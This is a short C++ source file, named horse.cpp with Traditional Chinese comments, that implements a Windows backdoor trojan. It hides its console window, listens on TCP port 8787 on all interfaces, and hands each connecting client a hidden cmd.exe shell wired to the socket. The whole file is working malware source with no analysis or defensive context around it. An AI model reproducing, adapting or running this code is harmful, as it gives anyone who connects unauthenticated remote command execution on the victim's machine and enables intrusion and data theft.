歐維斯福利設

// horse.cpp : 定義主控台應用程式的進入點。
//

#include "stdafx.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 8787 //宣告端口
int main(int argc, char *argv[])
{
 WSADATA WSADa;
 sockaddr_in SockAddrIn;
 SOCKET CSocket, SSocket;
 int iAddrSize;
 PROCESS_INFORMATION ProcessInfo;
 STARTUPINFO StartupInfo;
 LPWSTR szCMDPath = new TCHAR[256];
 ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
 ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
 ZeroMemory(&WSADa, sizeof(WSADATA));
 
 GetEnvironmentVariable(L"COMSPEC", szCMDPath, 256);//取得CMD位址
 WSAStartup(0x0202, &WSADa);
 SockAddrIn.sin_family = AF_INET;
 SockAddrIn.sin_addr.s_addr = INADDR_ANY;
 SockAddrIn.sin_port = htons(MasterPort);
 CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
 bind(CSocket, (sockaddr *)&SockAddrIn, sizeof(SockAddrIn));
 listen(CSocket, 5);
 iAddrSize = sizeof(SockAddrIn);
 while ((SSocket = accept(CSocket, (sockaddr *)&SockAddrIn, &iAddrSize))) {
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  StartupInfo.hStdInput = (HANDLE)SSocket;
  StartupInfo.hStdOutput = (HANDLE)SSocket;
  StartupInfo.hStdError = (HANDLE)SSocket;

  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);//執行cmd
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);//等待執行敘結束
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  closesocket(SSocket);
 }
 closesocket(CSocket);
 WSACleanup();
 return 0;
}